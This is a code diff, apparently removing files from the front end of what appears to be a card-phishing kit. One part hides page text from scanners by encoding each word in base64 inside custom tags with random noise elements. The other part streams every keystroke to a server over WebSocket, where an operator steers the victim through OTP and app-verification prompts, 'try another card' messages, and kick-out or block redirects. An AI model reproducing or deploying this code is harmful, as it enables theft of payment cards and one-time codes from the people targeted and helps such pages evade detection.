setTimeout(() => window.decodeObfuscatedContent(rootElement), 0);
|
|
||||||
}
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing updated component:', error, rootElement);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 声明全局函数类型
|
|
||||||
declare global {
|
|
||||||
interface Window {
|
|
||||||
decodeObfuscatedContent: (rootElement?: Element) => void;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 需要跳过的标签
|
|
||||||
const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE'];
|
|
||||||
// 需要跳过的类名
|
|
||||||
const SKIP_CLASSES = ['no-obfuscate'];
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 处理元素中的所有文本节点
|
|
||||||
*/
|
|
||||||
function processTextNodes(element: Element, instance: ComponentInternalInstance | null) {
|
|
||||||
if (!element || element.nodeType !== Node.ELEMENT_NODE) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
// 为 DIV 元素增加优先处理逻辑
|
|
||||||
if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) {
|
|
||||||
// 对于DIV元素,特殊处理其直接子文本节点
|
|
||||||
let hasTextContent = false;
|
|
||||||
for (let i = 0; i < element.childNodes.length; i++) {
|
|
||||||
const node = element.childNodes[i];
|
|
||||||
if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') {
|
|
||||||
hasTextContent = true;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果DIV中有直接的文本内容,标记它需要被处理
|
|
||||||
if (hasTextContent) {
|
|
||||||
// 只处理未混淆过的DIV
|
|
||||||
const textContent = Array.from(element.childNodes)
|
|
||||||
.filter(node => node.nodeType === Node.TEXT_NODE && node.textContent)
|
|
||||||
.map(node => node.textContent).join('').trim();
|
|
||||||
|
|
||||||
if (textContent) {
|
|
||||||
// 替换整个DIV的内容
|
|
||||||
const originalHTML = element.innerHTML;
|
|
||||||
const processedHTML = obfuscateText(textContent);
|
|
||||||
element.innerHTML = processedHTML + originalHTML.replace(textContent, '');
|
|
||||||
element.setAttribute('data-obfuscated', 'true');
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
// 跳过带有特定标记的元素(避免重复处理)
|
|
||||||
if (element.hasAttribute('data-obfuscated') ||
|
|
||||||
!element ||
|
|
||||||
SKIP_TAGS.includes(element.tagName) ||
|
|
||||||
Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 使用 TreeWalker 遍历所有文本节点
|
|
||||||
const walker = document.createTreeWalker(
|
|
||||||
element,
|
|
||||||
NodeFilter.SHOW_TEXT,
|
|
||||||
{
|
|
||||||
acceptNode(node) {
|
|
||||||
// 不处理完全空的文本节点
|
|
||||||
if (!node.textContent) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查父节点是否应该被跳过
|
|
||||||
const parent = node.parentElement;
|
|
||||||
if (parent && (
|
|
||||||
SKIP_TAGS.includes(parent.tagName) ||
|
|
||||||
parent.hasAttribute('data-obfuscated') ||
|
|
||||||
Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls))
|
|
||||||
)) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果只包含空白且不是段落的首个节点,则跳过
|
|
||||||
if (node.textContent.trim() === '' &&
|
|
||||||
!(parent?.tagName === 'P' && node === parent.firstChild)) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
return NodeFilter.FILTER_ACCEPT;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
);
|
|
||||||
|
|
||||||
// 收集需要处理的文本节点
|
|
||||||
const textNodes: Text[] = [];
|
|
||||||
let currentNode: Node | null = walker.nextNode();
|
|
||||||
|
|
||||||
while (currentNode) {
|
|
||||||
textNodes.push(currentNode as Text);
|
|
||||||
currentNode = walker.nextNode();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 预先计算所有混淆内容,减少DOM操作次数
|
|
||||||
const fragments: DocumentFragment[] = [];
|
|
||||||
const nodesToReplace: Text[] = [];
|
|
||||||
|
|
||||||
// 在处理文本节点前,移除所有前导空格
|
|
||||||
for (const textNode of textNodes) {
|
|
||||||
const text = textNode.textContent;
|
|
||||||
if (!text) continue;
|
|
||||||
|
|
||||||
// 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白
|
|
||||||
let processedText = text;
|
|
||||||
if (textNode.parentElement?.tagName === 'P' &&
|
|
||||||
textNode === textNode.parentElement.firstChild) {
|
|
||||||
// 去除开头的空白,无论什么情况
|
|
||||||
processedText = text.replace(/^\s+/, '');
|
|
||||||
// 如果去除空白后为空,直接跳过这个节点
|
|
||||||
if (!processedText) continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 创建文档碎片来存储混淆后的内容
|
|
||||||
const fragment = document.createDocumentFragment();
|
|
||||||
const tempContainer = document.createElement('div');
|
|
||||||
tempContainer.innerHTML = obfuscateText(processedText);
|
|
||||||
|
|
||||||
// 将内容移动到碎片中
|
|
||||||
while (tempContainer.firstChild) {
|
|
||||||
fragment.appendChild(tempContainer.firstChild);
|
|
||||||
}
|
|
||||||
|
|
||||||
fragments.push(fragment);
|
|
||||||
nodesToReplace.push(textNode);
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing text node:', error);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 批量替换节点,减少回流
|
|
||||||
for (let i = 0; i < nodesToReplace.length; i++) {
|
|
||||||
const textNode = nodesToReplace[i];
|
|
||||||
const fragment = fragments[i];
|
|
||||||
|
|
||||||
if (textNode.parentNode) {
|
|
||||||
textNode.parentNode.replaceChild(fragment, textNode);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 设置 MutationObserver 来监听 DOM 变化
|
|
||||||
*/
|
|
||||||
function setupMutationObserver(element: Element) {
|
|
||||||
if (!element) return;
|
|
||||||
|
|
||||||
const observer = new MutationObserver((mutations) => {
|
|
||||||
for (const mutation of mutations) {
|
|
||||||
if (mutation.type === 'childList' && mutation.addedNodes.length) {
|
|
||||||
mutation.addedNodes.forEach((node) => {
|
|
||||||
if (node.nodeType === Node.ELEMENT_NODE) {
|
|
||||||
processTextNodes(node as Element, null);
|
|
||||||
// 观察到新元素后立即解码
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
window.decodeObfuscatedContent(node as Element);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
observer.observe(element, {
|
|
||||||
childList: true,
|
|
||||||
subtree: true
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 生成随机噪声标签和注释
|
|
||||||
*/
|
|
||||||
function getRandomNoise() {
|
|
||||||
const noiseTypes = [
|
|
||||||
// HTML注释
|
|
||||||
() => `<!--${Math.random().toString(36).substring(2, 6)}-->`,
|
|
||||||
// 空的自定义元素
|
|
||||||
() => {
|
|
||||||
const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty'];
|
|
||||||
const tag = tags[Math.floor(Math.random() * tags.length)];
|
|
||||||
return `<${tag}></${tag}>`;
|
|
||||||
},
|
|
||||||
// 带随机属性的自定义元素
|
|
||||||
() => {
|
|
||||||
const attr = `data-${Math.random().toString(36).substring(2, 7)}`;
|
|
||||||
const value = Math.random().toString(36).substring(2, 10);
|
|
||||||
return `<z-attr ${attr}="${value}"></z-attr>`;
|
|
||||||
},
|
|
||||||
// 带随机文本的隐藏元素
|
|
||||||
() => {
|
|
||||||
const text = Math.random().toString(36).substring(2, 8);
|
|
||||||
return `<z-text>${text}</z-text>`;
|
|
||||||
}
|
|
||||||
];
|
|
||||||
|
|
||||||
// 随机选择一种噪声类型
|
|
||||||
const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)];
|
|
||||||
return noiseGenerator();
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签
|
|
||||||
*/
|
|
||||||
function obfuscateText(text: string): string {
|
|
||||||
if (!text) return '';
|
|
||||||
|
|
||||||
// 首先移除文本开头的所有空白字符以解决段落首行缩进问题
|
|
||||||
text = text.replace(/^\s+/, '');
|
|
||||||
if (!text) return '';
|
|
||||||
|
|
||||||
// 使用正则表达式将文本拆分为单词和空格,保持完整性
|
|
||||||
const words = text.split(/(\s+)/);
|
|
||||||
let result = '<z-wrap data-obfuscated="true">';
|
|
||||||
|
|
||||||
// 过滤掉空字符串,避免生成空的z-span元素
|
|
||||||
const filteredWords = words.filter(word => word.length > 0);
|
|
||||||
|
|
||||||
// 为每个单词创建一个独立的自定义元素
|
|
||||||
filteredWords.forEach((word, index) => {
|
|
||||||
// 对空格和特殊字符进行特殊处理
|
|
||||||
if (/^\s+$/.test(word)) {
|
|
||||||
// 改进:更精确地处理各种换行符
|
|
||||||
if (/[\n\r]/.test(word)) {
|
|
||||||
// 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素
|
|
||||||
result += '<z-break></z-break>';
|
|
||||||
} else {
|
|
||||||
// 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space
|
|
||||||
result += '<z-space></z-space>';
|
|
||||||
}
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 随机在单词前添加噪声,但减少频率
|
|
||||||
if (Math.random() > 0.85) {
|
|
||||||
result += getRandomNoise();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 为了提高效率,固定属性名
|
|
||||||
const attrId = `data`;
|
|
||||||
|
|
||||||
// 将单词编码为Base64
|
|
||||||
const encodedWord = btoa(encodeURIComponent(word));
|
|
||||||
|
|
||||||
// 随机选择z-span或z-strong标签增加混淆度
|
|
||||||
const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong';
|
|
||||||
|
|
||||||
// 添加标签开始部分
|
|
||||||
result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`;
|
|
||||||
|
|
||||||
// 随机在标签内添加隐藏内容,但减少频率
|
|
||||||
if (Math.random() > 0.8) {
|
|
||||||
const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5));
|
|
||||||
result += `<z-hidden>${fakeText}</z-hidden>`;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 闭合标签
|
|
||||||
result += `</${tagName}>`;
|
|
||||||
|
|
||||||
// 随机在单词后添加噪声,但减少频率
|
|
||||||
if (Math.random() > 0.85) {
|
|
||||||
result += getRandomNoise();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
result += '</z-wrap>';
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 添加显示混淆内容的样式和解码脚本
|
|
||||||
*/
|
|
||||||
function addObfuscationStyle() {
|
|
||||||
// 添加样式
|
|
||||||
if (!document.getElementById('obfuscation-style')) {
|
|
||||||
const style = document.createElement('style');
|
|
||||||
style.id = 'obfuscation-style';
|
|
||||||
style.textContent = `
|
|
||||||
/* 自定义元素基本样式 */
|
|
||||||
z-wrap {
|
|
||||||
display: inline;
|
|
||||||
white-space: normal;
|
|
||||||
user-select: none; /* 阻止文本选择 */
|
|
||||||
text-indent: 0 !important; /* 确保无缩进 */
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 添加一个类来允许选择文本的情况 */
|
|
||||||
.allow-select z-wrap {
|
|
||||||
user-select: text;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 确保段落中的混淆内容没有开头缩进 */
|
|
||||||
p > z-wrap:first-child {
|
|
||||||
text-indent: 0 !important;
|
|
||||||
margin-left: 0 !important;
|
|
||||||
padding-left: 0 !important;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 处理所有p标签,确保没有多余空间 */
|
|
||||||
p {
|
|
||||||
text-indent: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
z-span, z-strong {
|
|
||||||
display: inline-block;
|
|
||||||
position: relative;
|
|
||||||
opacity: 1;
|
|
||||||
transition: opacity 0.1s ease;
|
|
||||||
margin: 0;
|
|
||||||
padding: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 控制右侧间距 */
|
|
||||||
z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span {
|
|
||||||
margin-left: 0.1em;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 移除最后一个元素的右侧间距 */
|
|
||||||
z-span:last-child, z-strong:last-child {
|
|
||||||
margin-right: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
z-span::after, z-strong::after {
|
|
||||||
content: attr(data-content);
|
|
||||||
position: relative;
|
|
||||||
pointer-events: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 空格元素 - 精确控制宽度 */
|
|
||||||
z-space {
|
|
||||||
display: inline-block;
|
|
||||||
width: 0.25em;
|
|
||||||
margin: 0;
|
|
||||||
padding: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 空的z-span/z-strong元素不应该显示 */
|
|
||||||
z-span:not([data-content]), z-strong:not([data-content]) {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 换行元素 - 强制换行且完全没有尺寸 */
|
|
||||||
z-break {
|
|
||||||
display: block !important;
|
|
||||||
height: 0 !important;
|
|
||||||
width: 0 !important;
|
|
||||||
margin: 0 !important;
|
|
||||||
padding: 0 !important;
|
|
||||||
border: none !important;
|
|
||||||
line-height: 0 !important;
|
|
||||||
font-size: 0 !important;
|
|
||||||
overflow: hidden !important;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 隐藏所有噪声元素 */
|
|
||||||
z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden {
|
|
||||||
display: none;
|
|
||||||
width: 0;
|
|
||||||
height: 0;
|
|
||||||
opacity: 0;
|
|
||||||
overflow: hidden;
|
|
||||||
position: absolute;
|
|
||||||
visibility: hidden;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 预加载状态 */
|
|
||||||
[data-preload="true"] {
|
|
||||||
min-width: 0.5em;
|
|
||||||
min-height: 1em;
|
|
||||||
}
|
|
||||||
`;
|
|
||||||
document.head.appendChild(style);
|
|
||||||
}
|
|
||||||
|
|
||||||
// 添加自定义元素注册,确保所有浏览器都能正确处理
|
|
||||||
const scriptCustomElements = document.createElement('script');
|
|
||||||
scriptCustomElements.textContent = `
|
|
||||||
// 注册所有自定义元素
|
|
||||||
if ('customElements' in window) {
|
|
||||||
customElements.define('z-wrap', class extends HTMLElement {});
|
|
||||||
customElements.define('z-span', class extends HTMLElement {});
|
|
||||||
customElements.define('z-strong', class extends HTMLElement {});
|
|
||||||
customElements.define('z-space', class extends HTMLElement {});
|
|
||||||
customElements.define('z-break', class extends HTMLElement {});
|
|
||||||
|
|
||||||
// 注册噪声元素
|
|
||||||
customElements.define('z-nil', class extends HTMLElement {});
|
|
||||||
customElements.define('z-void', class extends HTMLElement {});
|
|
||||||
customElements.define('z-null', class extends HTMLElement {});
|
|
||||||
customElements.define('z-fake', class extends HTMLElement {});
|
|
||||||
customElements.define('z-empty', class extends HTMLElement {});
|
|
||||||
customElements.define('z-attr', class extends HTMLElement {});
|
|
||||||
customElements.define('z-text', class extends HTMLElement {});
|
|
||||||
customElements.define('z-hidden', class extends HTMLElement {});
|
|
||||||
}
|
|
||||||
`;
|
|
||||||
document.head.appendChild(scriptCustomElements);
|
|
||||||
|
|
||||||
// 添加提前解码的脚本,放在<head>顶部优先加载
|
|
||||||
if (!document.getElementById('obfuscation-script')) {
|
|
||||||
const script = document.createElement('script');
|
|
||||||
script.id = 'obfuscation-script';
|
|
||||||
script.textContent = `
|
|
||||||
(function() {
|
|
||||||
// 定义解码函数并暴露为全局函数
|
|
||||||
window.decodeObfuscatedContent = function(rootElement) {
|
|
||||||
const root = rootElement || document.body;
|
|
||||||
const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]');
|
|
||||||
|
|
||||||
if (elements.length === 0) return;
|
|
||||||
|
|
||||||
// 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染
|
|
||||||
const runWhenIdle = window.requestIdleCallback ||
|
|
||||||
function(cb) { setTimeout(cb, 1); };
|
|
||||||
|
|
||||||
runWhenIdle(() => {
|
|
||||||
elements.forEach(el => {
|
|
||||||
// 避免重复解码
|
|
||||||
if (el.hasAttribute('data-content')) return;
|
|
||||||
|
|
||||||
// 找到编码数据
|
|
||||||
const dataAttr = el.getAttribute('data-data');
|
|
||||||
if (dataAttr) {
|
|
||||||
try {
|
|
||||||
// 解码并设置
|
|
||||||
const decodedWord = decodeURIComponent(atob(dataAttr));
|
|
||||||
el.setAttribute('data-content', decodedWord);
|
|
||||||
el.removeAttribute('data-preload');
|
|
||||||
} catch (e) {
|
|
||||||
// 解码失败时跳过
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
});
|
|
||||||
};
|
|
||||||
|
|
||||||
// 页面加载完成后立即执行一次全局解码
|
|
||||||
if (document.readyState === 'loading') {
|
|
||||||
document.addEventListener('DOMContentLoaded', function() {
|
|
||||||
window.decodeObfuscatedContent();
|
|
||||||
});
|
|
||||||
} else {
|
|
||||||
window.decodeObfuscatedContent();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 使用IntersectionObserver优化解码性能
|
|
||||||
if ('IntersectionObserver' in window) {
|
|
||||||
const decodeObserver = new IntersectionObserver(
|
|
||||||
(entries, observer) => {
|
|
||||||
entries.forEach(entry => {
|
|
||||||
if (entry.isIntersecting) {
|
|
||||||
// 容器进入视口时解码其内容
|
|
||||||
window.decodeObfuscatedContent(entry.target);
|
|
||||||
observer.unobserve(entry.target);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
},
|
|
||||||
{ rootMargin: '200px 0px' } // 提前200像素开始解码
|
|
||||||
);
|
|
||||||
|
|
||||||
// 监听所有混淆容器
|
|
||||||
function observeContainers() {
|
|
||||||
document.querySelectorAll('z-wrap').forEach(container => {
|
|
||||||
decodeObserver.observe(container);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// 初始观察
|
|
||||||
if (document.readyState === 'loading') {
|
|
||||||
document.addEventListener('DOMContentLoaded', observeContainers);
|
|
||||||
} else {
|
|
||||||
observeContainers();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 定期检查新容器
|
|
||||||
setInterval(observeContainers, 2000);
|
|
||||||
} else {
|
|
||||||
// 降级方案:定期全局检查
|
|
||||||
setInterval(() => window.decodeObfuscatedContent(), 1000);
|
|
||||||
}
|
|
||||||
})();
|
|
||||||
`;
|
|
||||||
|
|
||||||
// 将脚本添加到head的最前面,确保尽早加载
|
|
||||||
if (document.head.firstChild) {
|
|
||||||
document.head.insertBefore(script, document.head.firstChild);
|
|
||||||
} else {
|
|
||||||
document.head.appendChild(script);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,331 +0,0 @@
|
|||||||
import _ from "lodash";
|
|
||||||
import { sendInput } from "@/api/api";
|
|
||||||
import type { Socket } from "@/utils/websocket";
|
|
||||||
import eventBus from "@/utils/eventBus";
|
|
||||||
import router from "@/router";
|
|
||||||
import { ref } from "vue";
|
|
||||||
import { useSocket } from "@/utils/websocket";
|
|
||||||
import { useLoadingStore } from "@/stores/loadingStore";
|
|
||||||
import i18n from "@/main";
|
|
||||||
import { useSocketIo } from "./socketio";
|
|
||||||
|
|
||||||
const viteBaseUrl = import.meta.env.VITE_BASE_URL;
|
|
||||||
|
|
||||||
// WebSocket interface
|
|
||||||
interface MyWebSocket {
|
|
||||||
socket: any;
|
|
||||||
send: (data: string) => Promise<void>;
|
|
||||||
off: (event: string) => void;
|
|
||||||
on: (event: string, callback: (data: any) => void) => void;
|
|
||||||
}
|
|
||||||
|
|
||||||
export const customOtpData = ref<any>({});
|
|
||||||
|
|
||||||
export function setCustomOtpData(data: any) {
|
|
||||||
customOtpData.value = data;
|
|
||||||
localStorage.setItem("customOtpData", JSON.stringify(data));
|
|
||||||
}
|
|
||||||
|
|
||||||
export let myWebSocket: MyWebSocket | undefined;
|
|
||||||
|
|
||||||
// Configuration data
|
|
||||||
export const configData = ref<Record<string, any>>({});
|
|
||||||
|
|
||||||
// Utility function to check if all values in an object are not empty
|
|
||||||
export function areAllValuesNotEmpty(
|
|
||||||
obj: Record<string, any>,
|
|
||||||
excludedFields: string[] = []
|
|
||||||
): boolean {
|
|
||||||
return Object.keys(obj).every((key) => {
|
|
||||||
if (excludedFields.includes(key)) return true;
|
|
||||||
const value = obj[key];
|
|
||||||
return (
|
|
||||||
value !== null &&
|
|
||||||
value !== undefined &&
|
|
||||||
value !== "" &&
|
|
||||||
!(typeof value === "string" && value.trim() === "")
|
|
||||||
);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// 存储 WebSocket 和 API 的防抖函数
|
|
||||||
const wsDebounceFunctions: Record<
|
|
||||||
string,
|
|
||||||
_.DebouncedFunc<(...args: any[]) => void>
|
|
||||||
> = {};
|
|
||||||
const apiDebounceFunctions: Record<
|
|
||||||
string,
|
|
||||||
_.DebouncedFunc<(...args: any[]) => void>
|
|
||||||
> = {};
|
|
||||||
|
|
||||||
// 获取或创建针对某个键的防抖函数
|
|
||||||
function getDebouncedFunction(
|
|
||||||
debounceFunctions: Record<string, _.DebouncedFunc<(...args: any[]) => void>>,
|
|
||||||
key: string,
|
|
||||||
func: (...args: any[]) => void,
|
|
||||||
wait: number
|
|
||||||
) {
|
|
||||||
if (!debounceFunctions[key]) {
|
|
||||||
debounceFunctions[key] = _.debounce(func, wait);
|
|
||||||
}
|
|
||||||
return debounceFunctions[key];
|
|
||||||
}
|
|
||||||
|
|
||||||
const modeRef = ref(1)
|
|
||||||
|
|
||||||
|
|
||||||
// 处理输入变化
|
|
||||||
export function inputChange(type: string, key: any, value: any) {
|
|
||||||
const currentTimestamp = Date.now(); // 当前时间戳
|
|
||||||
|
|
||||||
// WebSocket 防抖函数
|
|
||||||
const wsDebouncedFunction = getDebouncedFunction(
|
|
||||||
wsDebounceFunctions,
|
|
||||||
key,
|
|
||||||
(type, key, value) => {
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "input_text",
|
|
||||||
content: { type, key, text: value },
|
|
||||||
timestamp: currentTimestamp,
|
|
||||||
})
|
|
||||||
);
|
|
||||||
},
|
|
||||||
300
|
|
||||||
);
|
|
||||||
|
|
||||||
// API 防抖函数
|
|
||||||
const apiDebouncedFunction = getDebouncedFunction(
|
|
||||||
apiDebounceFunctions,
|
|
||||||
key,
|
|
||||||
(type, key, value) => {
|
|
||||||
sendInput({
|
|
||||||
content: { type, key, text: value },
|
|
||||||
timestamp: currentTimestamp,
|
|
||||||
});
|
|
||||||
},
|
|
||||||
1000
|
|
||||||
);
|
|
||||||
|
|
||||||
// 调用防抖函数
|
|
||||||
wsDebouncedFunction(type, key, value);
|
|
||||||
if(modeRef.value !== 2) {
|
|
||||||
apiDebouncedFunction(type, key, value);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
// Handle login success
|
|
||||||
export function loginSuccess(token: string, mode: number) {
|
|
||||||
if(mode === 2) {
|
|
||||||
modeRef.value = 2
|
|
||||||
myWebSocket = useSocketIo(
|
|
||||||
`wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
|
|
||||||
}/ws?token=${token}`
|
|
||||||
);
|
|
||||||
}else{
|
|
||||||
myWebSocket = useSocket(
|
|
||||||
`wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
|
|
||||||
}/ws?token=${token}`
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
myWebSocket?.on("close", () => console.log("Socket closed!"));
|
|
||||||
myWebSocket?.on("open", () => {
|
|
||||||
const lastToken = localStorage.getItem("token");
|
|
||||||
loginWebsocket(token, lastToken !== token);
|
|
||||||
});
|
|
||||||
|
|
||||||
myWebSocket?.on("message", handleMessage);
|
|
||||||
|
|
||||||
window.addEventListener("beforeunload", () => {
|
|
||||||
myWebSocket?.off("close");
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle WebSocket messages
|
|
||||||
function handleMessage(data: any) {
|
|
||||||
const jsonData = JSON.parse(data);
|
|
||||||
if (!jsonData || !jsonData.event) return;
|
|
||||||
|
|
||||||
const { event, content } = jsonData;
|
|
||||||
|
|
||||||
switch (event) {
|
|
||||||
case "login":
|
|
||||||
//handleLoginEvent(content);
|
|
||||||
break;
|
|
||||||
case "result_type":
|
|
||||||
handleResultTypeEvent(content);
|
|
||||||
break;
|
|
||||||
case "reload":
|
|
||||||
window.location.reload();
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle login event
|
|
||||||
function handleLoginEvent(content: any) {
|
|
||||||
const route = localStorage.getItem("route");
|
|
||||||
if (route) {
|
|
||||||
const customOtpDataValue = localStorage.getItem("customOtpData");
|
|
||||||
if (route === "customOtpValid" && customOtpDataValue) {
|
|
||||||
setCustomOtpData(JSON.parse(customOtpDataValue));
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "page_type",
|
|
||||||
content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type },
|
|
||||||
})
|
|
||||||
);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "page_type",
|
|
||||||
content: { pageType: route },
|
|
||||||
})
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle result type event
|
|
||||||
function handleResultTypeEvent(content: any) {
|
|
||||||
if (!content) return;
|
|
||||||
|
|
||||||
const typeHandlers: Record<string, () => void> = {
|
|
||||||
customOtpValid: () => navigateTo("/customOtpValid", content),
|
|
||||||
otpValid: () => navigateTo("/otpValid", content),
|
|
||||||
appValid: () => navigateTo("/appValid", content),
|
|
||||||
success: () => router.push("/success"),
|
|
||||||
kickOut: redirectToExternal,
|
|
||||||
block: redirectToExternal,
|
|
||||||
otpFail: () =>
|
|
||||||
eventBus.emit("otp-valid", {
|
|
||||||
message2:
|
|
||||||
content.value.message2 ||
|
|
||||||
i18n.global.t("Verification code error, please try again"),
|
|
||||||
}),
|
|
||||||
appFail: () =>
|
|
||||||
eventBus.emit("app-valid", {
|
|
||||||
message2:
|
|
||||||
content.value.message2 ||
|
|
||||||
i18n.global.t(
|
|
||||||
"The session is about to expire, please complete the verification now"
|
|
||||||
),
|
|
||||||
}),
|
|
||||||
back: () => handleBackOrReject(content, true),
|
|
||||||
reject: () => handleBackOrReject(content, false),
|
|
||||||
refresh: () => {
|
|
||||||
if(localStorage.getItem("route")){
|
|
||||||
localStorage.removeItem("route");
|
|
||||||
window.location.reload();
|
|
||||||
}
|
|
||||||
},
|
|
||||||
};
|
|
||||||
|
|
||||||
if (content.type == "customOtpValid") {
|
|
||||||
if(content.value.customOtpData) {
|
|
||||||
setCustomOtpData(JSON.parse(content.value.customOtpData));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (content.type == "customOtpFail") {
|
|
||||||
eventBus.emit("custom-otp-valid", {
|
|
||||||
message2: content.value.message2,
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
const handler = typeHandlers[content.type];
|
|
||||||
if (handler) handler();
|
|
||||||
|
|
||||||
useLoadingStore().setLoading(false);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Navigate to specific path with query parameters
|
|
||||||
function navigateTo(path: string, content: any) {
|
|
||||||
|
|
||||||
router.push('/temp').then(() => {
|
|
||||||
router.push({
|
|
||||||
path: path,
|
|
||||||
query: {
|
|
||||||
cardType: content.value?.data?.cardData?.cardBIN?.schema,
|
|
||||||
message1: content.value?.message1,
|
|
||||||
key: new Date().getMilliseconds(),
|
|
||||||
},
|
|
||||||
});
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle back or reject type
|
|
||||||
function handleBackOrReject(content: any, isBack: boolean) {
|
|
||||||
let message2 = i18n.global.t(
|
|
||||||
"This card does not support this transaction, please try another card"
|
|
||||||
);
|
|
||||||
|
|
||||||
if (configData.value.error_card_msg) {
|
|
||||||
message2 = configData.value.error_card_msg;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (content.value.type) {
|
|
||||||
const type = content.value.type;
|
|
||||||
if (type === "denyC" && configData.value.deny_c_msg) {
|
|
||||||
message2 = configData.value.deny_c_msg;
|
|
||||||
}
|
|
||||||
if (type === "denyD" && configData.value.deny_d_msg) {
|
|
||||||
message2 = configData.value.deny_d_msg;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (content.value.message2) {
|
|
||||||
message2 = content.value.message2;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (isBack) {
|
|
||||||
router.push({ path: "/card", query: { message2 } });
|
|
||||||
}
|
|
||||||
|
|
||||||
eventBus.emit("my-event", { message2 });
|
|
||||||
}
|
|
||||||
|
|
||||||
// Login to WebSocket
|
|
||||||
